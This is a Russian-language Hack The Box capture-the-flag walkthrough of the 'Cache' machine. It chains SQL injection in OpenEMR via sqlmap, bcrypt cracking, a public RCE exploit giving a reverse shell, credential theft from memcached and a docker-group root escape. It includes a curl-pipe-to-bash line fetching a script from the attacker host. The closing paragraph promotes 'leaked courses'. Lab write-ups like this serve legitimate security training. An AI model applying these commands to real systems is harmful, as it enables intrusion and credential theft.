Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker

в 14:55, , рубрики: ctf, HTB, pentest, pentesting, ralf_rt, red team, red teaming, информационная безопасность
Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 1

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.

10.10.10.188 	blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)
nmap -p$ports -A $1

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 2

На сервере работают SSH и веб сервер Apache.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 3

И на сайте возможна авторизация.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 4

Entry Point

В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 5

И авторизовавшись с этими данными, получим только какую-то картинку.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 6

Просматривая сайт дальше, на About странице находим упоминание о HMS.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 7

Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb
Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 8

Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 9

И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 10

В коде видим, что нужно указать учетные данные.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 11

А в описании к эксплоиту есть ссылка на PoC.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 12

Изучая материал по данной ссылке, узнаем о SQL инъекции.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 13

USER

Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 14

После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 15

Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.

sqlmap -r r.req

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 16

И есть инъекция! Получим все БД.

sqlmap -r r.req --dbs

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 17

Теперь узнаем таблицы из openemr.

sqlmap -r r.req -D openemr --tables

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 18

Самую интересную я выделил на изображении, давайте получим данные из нее.

sqlmap -r r.req -D openemr -T users_secure --dump

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 19

И есть хеш bcrypt, давайте узнаем его режим в Hashcat.

hashcat --example | grep -A2 -B2 '$2a$'

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 20

А теперь перебираем и находим пароль.

hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 21

И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 22

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 23

Откроем листенер и выполним эксплоит.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 24

Глянем какие есть пользователи.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 25

Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 26

И получаем первый флаг.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 27

USER2

Для разведки на удаленном хосте используем скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 28

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 29

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 30

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 31

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 32

И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab’ы. Давайте подключимся к порту 11211 и запросим их.

telnet localhost 11211
stats slabs

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 33

Slab’ы делятся на еще более мелкие куски — chunk’и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.

stats cachedump 1 0

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 34

Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.

get user
get passwd

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 35

И получаем второго пользователя(можно авторизоваться по SSH).

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 36

ROOT

Мы уже упоминали докер, давайте посмотрим образы.

docker images

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 37

Есть один образ ubuntu. Давайте примонтируем его.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash

И забираем флаг рута.

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker - 38

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js